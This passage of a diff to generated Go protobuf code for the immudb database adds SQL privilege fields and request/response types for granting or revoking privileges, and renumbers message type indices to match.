(x TxMode) String() string { } func (TxMode) Descriptor() protoreflect.EnumDescriptor { - return file_schema_proto_enumTypes[2].Descriptor() + return file_schema_proto_enumTypes[3].Descriptor() } func (TxMode) Type() protoreflect.EnumType { - return &file_schema_proto_enumTypes[2] + return &file_schema_proto_enumTypes[3] } func (x TxMode) Number() protoreflect.EnumNumber { @@ -192,7 +256,7 @@ func (x TxMode) Number() protoreflect.EnumNumber { // Deprecated: Use TxMode.Descriptor instead. func (TxMode) EnumDescriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{2} + return file_schema_proto_rawDescGZIP(), []int{3} } type Key struct { @@ -314,6 +378,8 @@ type User struct { Createdat string `protobuf:"bytes,5,opt,name=createdat,proto3" json:"createdat,omitempty"` // Flag indicating whether the user is active or not Active bool `protobuf:"varint,6,opt,name=active,proto3" json:"active,omitempty"` + // List of SQL privileges + SqlPrivileges []SQLPrivilege `protobuf:"varint,7,rep,packed,name=sqlPrivileges,proto3,enum=immudb.schema.SQLPrivilege" json:"sqlPrivileges,omitempty"` } func (x *User) Reset() { @@ -383,6 +449,13 @@ func (x *User) GetActive() bool { return false } +func (x *User) GetSqlPrivileges() []SQLPrivilege { + if x != nil { + return x.SqlPrivileges + } + return nil +} + type UserList struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -7287,6 +7360,119 @@ func (x *ChangePermissionRequest) GetPermission() uint32 { return 0 } +type ChangeSQLPrivilegesRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Action to perform + Action PermissionAction `protobuf:"varint,1,opt,name=action,proto3,enum=immudb.schema.PermissionAction" json:"action,omitempty"` + // Name of the user to update + Username string `protobuf:"bytes,2,opt,name=username,proto3" json:"username,omitempty"` + // Name of the database + Database string `protobuf:"bytes,3,opt,name=database,proto3" json:"database,omitempty"` + // SQL privileges to grant / revoke + Privileges []SQLPrivilege `protobuf:"varint,4,rep,packed,name=privileges,proto3,enum=immudb.schema.SQLPrivilege" json:"privileges,omitempty"` +} + +func (x *ChangeSQLPrivilegesRequest) Reset() { + *x = ChangeSQLPrivilegesRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[100] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *ChangeSQLPrivilegesRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ChangeSQLPrivilegesRequest) ProtoMessage() {} + +func (x *ChangeSQLPrivilegesRequest) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[100] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ChangeSQLPrivilegesRequest.ProtoReflect.Descriptor instead. +func (*ChangeSQLPrivilegesRequest) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{100} +} + +func (x *ChangeSQLPrivilegesRequest) GetAction() PermissionAction { + if x != nil { + return x.Action + } + return PermissionAction_GRANT +} + +func (x *ChangeSQLPrivilegesRequest) GetUsername() string { + if x != nil { + return x.Username + } + return "" +} + +func (x *ChangeSQLPrivilegesRequest) GetDatabase() string { + if x != nil { + return x.Database + } + return "" +} + +func (x *ChangeSQLPrivilegesRequest) GetPrivileges() []SQLPrivilege { + if x != nil { + return x.Privileges + } + return nil +} + +type ChangeSQLPrivilegesResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields +} + +func (x *ChangeSQLPrivilegesResponse) Reset() { + *x = ChangeSQLPrivilegesResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_schema_proto_msgTypes[101] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *ChangeSQLPrivilegesResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*ChangeSQLPrivilegesResponse) ProtoMessage() {} + +func (x *ChangeSQLPrivilegesResponse) ProtoReflect() protoreflect.Message { + mi := &file_schema_proto_msgTypes[101] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use ChangeSQLPrivilegesResponse.ProtoReflect.Descriptor instead. +func (*ChangeSQLPrivilegesResponse) Descriptor() ([]byte, []int) { + return file_schema_proto_rawDescGZIP(), []int{101} +} + type SetActiveUserRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -7301,7 +7487,7 @@ type SetActiveUserRequest struct { func (x *SetActiveUserRequest) Reset() { *x = SetActiveUserRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[102] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7314,7 +7500,7 @@ func (x *SetActiveUserRequest) String() string { func (*SetActiveUserRequest) ProtoMessage() {} func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[100] + mi := &file_schema_proto_msgTypes[102] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7327,7 +7513,7 @@ func (x *SetActiveUserRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SetActiveUserRequest.ProtoReflect.Descriptor instead. func (*SetActiveUserRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{100} + return file_schema_proto_rawDescGZIP(), []int{102} } func (x *SetActiveUserRequest) GetActive() bool { @@ -7356,7 +7542,7 @@ type DatabaseListResponse struct { func (x *DatabaseListResponse) Reset() { *x = DatabaseListResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[103] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7369,7 +7555,7 @@ func (x *DatabaseListResponse) String() string { func (*DatabaseListResponse) ProtoMessage() {} func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[101] + mi := &file_schema_proto_msgTypes[103] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7382,7 +7568,7 @@ func (x *DatabaseListResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponse.ProtoReflect.Descriptor instead. func (*DatabaseListResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{101} + return file_schema_proto_rawDescGZIP(), []int{103} } func (x *DatabaseListResponse) GetDatabases() []*Database { @@ -7401,7 +7587,7 @@ type DatabaseListRequestV2 struct { func (x *DatabaseListRequestV2) Reset() { *x = DatabaseListRequestV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[104] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7414,7 +7600,7 @@ func (x *DatabaseListRequestV2) String() string { func (*DatabaseListRequestV2) ProtoMessage() {} func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[102] + mi := &file_schema_proto_msgTypes[104] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7427,7 +7613,7 @@ func (x *DatabaseListRequestV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListRequestV2.ProtoReflect.Descriptor instead. func (*DatabaseListRequestV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{102} + return file_schema_proto_rawDescGZIP(), []int{104} } type DatabaseListResponseV2 struct { @@ -7442,7 +7628,7 @@ type DatabaseListResponseV2 struct { func (x *DatabaseListResponseV2) Reset() { *x = DatabaseListResponseV2{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[105] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7455,7 +7641,7 @@ func (x *DatabaseListResponseV2) String() string { func (*DatabaseListResponseV2) ProtoMessage() {} func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[103] + mi := &file_schema_proto_msgTypes[105] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7468,7 +7654,7 @@ func (x *DatabaseListResponseV2) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseListResponseV2.ProtoReflect.Descriptor instead. func (*DatabaseListResponseV2) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{103} + return file_schema_proto_rawDescGZIP(), []int{105} } func (x *DatabaseListResponseV2) GetDatabases() []*DatabaseInfo { @@ -7502,7 +7688,7 @@ type DatabaseInfo struct { func (x *DatabaseInfo) Reset() { *x = DatabaseInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[106] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7515,7 +7701,7 @@ func (x *DatabaseInfo) String() string { func (*DatabaseInfo) ProtoMessage() {} func (x *DatabaseInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[104] + mi := &file_schema_proto_msgTypes[106] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7528,7 +7714,7 @@ func (x *DatabaseInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DatabaseInfo.ProtoReflect.Descriptor instead. func (*DatabaseInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{104} + return file_schema_proto_rawDescGZIP(), []int{106} } func (x *DatabaseInfo) GetName() string { @@ -7592,7 +7778,7 @@ type Chunk struct { func (x *Chunk) Reset() { *x = Chunk{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[107] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7605,7 +7791,7 @@ func (x *Chunk) String() string { func (*Chunk) ProtoMessage() {} func (x *Chunk) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[105] + mi := &file_schema_proto_msgTypes[107] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7618,7 +7804,7 @@ func (x *Chunk) ProtoReflect() protoreflect.Message { // Deprecated: Use Chunk.ProtoReflect.Descriptor instead. func (*Chunk) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{105} + return file_schema_proto_rawDescGZIP(), []int{107} } func (x *Chunk) GetContent() []byte { @@ -7647,7 +7833,7 @@ type UseSnapshotRequest struct { func (x *UseSnapshotRequest) Reset() { *x = UseSnapshotRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[108] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7660,7 +7846,7 @@ func (x *UseSnapshotRequest) String() string { func (*UseSnapshotRequest) ProtoMessage() {} func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[106] + mi := &file_schema_proto_msgTypes[108] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7673,7 +7859,7 @@ func (x *UseSnapshotRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use UseSnapshotRequest.ProtoReflect.Descriptor instead. func (*UseSnapshotRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{106} + return file_schema_proto_rawDescGZIP(), []int{108} } func (x *UseSnapshotRequest) GetSinceTx() uint64 { @@ -7706,7 +7892,7 @@ type SQLExecRequest struct { func (x *SQLExecRequest) Reset() { *x = SQLExecRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[109] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7719,7 +7905,7 @@ func (x *SQLExecRequest) String() string { func (*SQLExecRequest) ProtoMessage() {} func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[107] + mi := &file_schema_proto_msgTypes[109] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7732,7 +7918,7 @@ func (x *SQLExecRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecRequest.ProtoReflect.Descriptor instead. func (*SQLExecRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{107} + return file_schema_proto_rawDescGZIP(), []int{109} } func (x *SQLExecRequest) GetSql() string { @@ -7776,7 +7962,7 @@ type SQLQueryRequest struct { func (x *SQLQueryRequest) Reset() { *x = SQLQueryRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[110] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7789,7 +7975,7 @@ func (x *SQLQueryRequest) String() string { func (*SQLQueryRequest) ProtoMessage() {} func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[108] + mi := &file_schema_proto_msgTypes[110] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7802,7 +7988,7 @@ func (x *SQLQueryRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryRequest.ProtoReflect.Descriptor instead. func (*SQLQueryRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{108} + return file_schema_proto_rawDescGZIP(), []int{110} } func (x *SQLQueryRequest) GetSql() string { @@ -7848,7 +8034,7 @@ type NamedParam struct { func (x *NamedParam) Reset() { *x = NamedParam{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[111] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7861,7 +8047,7 @@ func (x *NamedParam) String() string { func (*NamedParam) ProtoMessage() {} func (x *NamedParam) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[109] + mi := &file_schema_proto_msgTypes[111] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7874,7 +8060,7 @@ func (x *NamedParam) ProtoReflect() protoreflect.Message { // Deprecated: Use NamedParam.ProtoReflect.Descriptor instead. func (*NamedParam) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{109} + return file_schema_proto_rawDescGZIP(), []int{111} } func (x *NamedParam) GetName() string { @@ -7905,7 +8091,7 @@ type SQLExecResult struct { func (x *SQLExecResult) Reset() { *x = SQLExecResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[112] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7918,7 +8104,7 @@ func (x *SQLExecResult) String() string { func (*SQLExecResult) ProtoMessage() {} func (x *SQLExecResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[110] + mi := &file_schema_proto_msgTypes[112] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7931,7 +8117,7 @@ func (x *SQLExecResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLExecResult.ProtoReflect.Descriptor instead. func (*SQLExecResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{110} + return file_schema_proto_rawDescGZIP(), []int{112} } func (x *SQLExecResult) GetTxs() []*CommittedSQLTx { @@ -7966,7 +8152,7 @@ type CommittedSQLTx struct { func (x *CommittedSQLTx) Reset() { *x = CommittedSQLTx{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[113] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -7979,7 +8165,7 @@ func (x *CommittedSQLTx) String() string { func (*CommittedSQLTx) ProtoMessage() {} func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[111] + mi := &file_schema_proto_msgTypes[113] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -7992,7 +8178,7 @@ func (x *CommittedSQLTx) ProtoReflect() protoreflect.Message { // Deprecated: Use CommittedSQLTx.ProtoReflect.Descriptor instead. func (*CommittedSQLTx) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{111} + return file_schema_proto_rawDescGZIP(), []int{113} } func (x *CommittedSQLTx) GetHeader() *TxHeader { @@ -8037,7 +8223,7 @@ type SQLQueryResult struct { func (x *SQLQueryResult) Reset() { *x = SQLQueryResult{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[114] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8050,7 +8236,7 @@ func (x *SQLQueryResult) String() string { func (*SQLQueryResult) ProtoMessage() {} func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[112] + mi := &file_schema_proto_msgTypes[114] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8063,7 +8249,7 @@ func (x *SQLQueryResult) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLQueryResult.ProtoReflect.Descriptor instead. func (*SQLQueryResult) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{112} + return file_schema_proto_rawDescGZIP(), []int{114} } func (x *SQLQueryResult) GetColumns() []*Column { @@ -8094,7 +8280,7 @@ type Column struct { func (x *Column) Reset() { *x = Column{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[115] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8107,7 +8293,7 @@ func (x *Column) String() string { func (*Column) ProtoMessage() {} func (x *Column) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[113] + mi := &file_schema_proto_msgTypes[115] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8120,7 +8306,7 @@ func (x *Column) ProtoReflect() protoreflect.Message { // Deprecated: Use Column.ProtoReflect.Descriptor instead. func (*Column) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{113} + return file_schema_proto_rawDescGZIP(), []int{115} } func (x *Column) GetName() string { @@ -8151,7 +8337,7 @@ type Row struct { func (x *Row) Reset() { *x = Row{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[116] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8164,7 +8350,7 @@ func (x *Row) String() string { func (*Row) ProtoMessage() {} func (x *Row) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[114] + mi := &file_schema_proto_msgTypes[116] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8177,7 +8363,7 @@ func (x *Row) ProtoReflect() protoreflect.Message { // Deprecated: Use Row.ProtoReflect.Descriptor instead. func (*Row) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{114} + return file_schema_proto_rawDescGZIP(), []int{116} } func (x *Row) GetColumns() []string { @@ -8214,7 +8400,7 @@ type SQLValue struct { func (x *SQLValue) Reset() { *x = SQLValue{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[117] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8227,7 +8413,7 @@ func (x *SQLValue) String() string { func (*SQLValue) ProtoMessage() {} func (x *SQLValue) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[115] + mi := &file_schema_proto_msgTypes[117] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8240,7 +8426,7 @@ func (x *SQLValue) ProtoReflect() protoreflect.Message { // Deprecated: Use SQLValue.ProtoReflect.Descriptor instead. func (*SQLValue) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{115} + return file_schema_proto_rawDescGZIP(), []int{117} } func (m *SQLValue) GetValue() isSQLValue_Value { @@ -8364,7 +8550,7 @@ type NewTxRequest struct { func (x *NewTxRequest) Reset() { *x = NewTxRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[118] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8377,7 +8563,7 @@ func (x *NewTxRequest) String() string { func (*NewTxRequest) ProtoMessage() {} func (x *NewTxRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[116] + mi := &file_schema_proto_msgTypes[118] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8390,7 +8576,7 @@ func (x *NewTxRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxRequest.ProtoReflect.Descriptor instead. func (*NewTxRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{116} + return file_schema_proto_rawDescGZIP(), []int{118} } func (x *NewTxRequest) GetMode() TxMode { @@ -8433,7 +8619,7 @@ type NewTxResponse struct { func (x *NewTxResponse) Reset() { *x = NewTxResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[119] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8446,7 +8632,7 @@ func (x *NewTxResponse) String() string { func (*NewTxResponse) ProtoMessage() {} func (x *NewTxResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[117] + mi := &file_schema_proto_msgTypes[119] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8459,7 +8645,7 @@ func (x *NewTxResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use NewTxResponse.ProtoReflect.Descriptor instead. func (*NewTxResponse) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{117} + return file_schema_proto_rawDescGZIP(), []int{119} } func (x *NewTxResponse) GetTransactionID() string { @@ -8483,7 +8669,7 @@ type ErrorInfo struct { func (x *ErrorInfo) Reset() { *x = ErrorInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[120] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8496,7 +8682,7 @@ func (x *ErrorInfo) String() string { func (*ErrorInfo) ProtoMessage() {} func (x *ErrorInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[118] + mi := &file_schema_proto_msgTypes[120] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8509,7 +8695,7 @@ func (x *ErrorInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use ErrorInfo.ProtoReflect.Descriptor instead. func (*ErrorInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{118} + return file_schema_proto_rawDescGZIP(), []int{120} } func (x *ErrorInfo) GetCode() string { @@ -8538,7 +8724,7 @@ type DebugInfo struct { func (x *DebugInfo) Reset() { *x = DebugInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[121] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8551,7 +8737,7 @@ func (x *DebugInfo) String() string { func (*DebugInfo) ProtoMessage() {} func (x *DebugInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[119] + mi := &file_schema_proto_msgTypes[121] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8564,7 +8750,7 @@ func (x *DebugInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use DebugInfo.ProtoReflect.Descriptor instead. func (*DebugInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{119} + return file_schema_proto_rawDescGZIP(), []int{121} } func (x *DebugInfo) GetStack() string { @@ -8586,7 +8772,7 @@ type RetryInfo struct { func (x *RetryInfo) Reset() { *x = RetryInfo{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[122] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8599,7 +8785,7 @@ func (x *RetryInfo) String() string { func (*RetryInfo) ProtoMessage() {} func (x *RetryInfo) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[120] + mi := &file_schema_proto_msgTypes[122] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8612,7 +8798,7 @@ func (x *RetryInfo) ProtoReflect() protoreflect.Message { // Deprecated: Use RetryInfo.ProtoReflect.Descriptor instead. func (*RetryInfo) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{120} + return file_schema_proto_rawDescGZIP(), []int{122} } func (x *RetryInfo) GetRetryDelay() int32 { @@ -8636,7 +8822,7 @@ type TruncateDatabaseRequest struct { func (x *TruncateDatabaseRequest) Reset() { *x = TruncateDatabaseRequest{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[123] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8649,7 +8835,7 @@ func (x *TruncateDatabaseRequest) String() string { func (*TruncateDatabaseRequest) ProtoMessage() {} func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[121] + mi := &file_schema_proto_msgTypes[123] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8662,7 +8848,7 @@ func (x *TruncateDatabaseRequest) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseRequest.ProtoReflect.Descriptor instead. func (*TruncateDatabaseRequest) Descriptor() ([]byte, []int) { - return file_schema_proto_rawDescGZIP(), []int{121} + return file_schema_proto_rawDescGZIP(), []int{123} } func (x *TruncateDatabaseRequest) GetDatabase() string { @@ -8691,7 +8877,7 @@ type TruncateDatabaseResponse struct { func (x *TruncateDatabaseResponse) Reset() { *x = TruncateDatabaseResponse{} if protoimpl.UnsafeEnabled { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[124] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -8704,7 +8890,7 @@ func (x *TruncateDatabaseResponse) String() string { func (*TruncateDatabaseResponse) ProtoMessage() {} func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { - mi := &file_schema_proto_msgTypes[122] + mi := &file_schema_proto_msgTypes[124] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -8717,7 +8903,7 @@ func (x *TruncateDatabaseResponse) ProtoReflect() protoreflect.Message { // Deprecated: Use TruncateDatabaseResponse.ProtoReflect.Descriptor instead. func 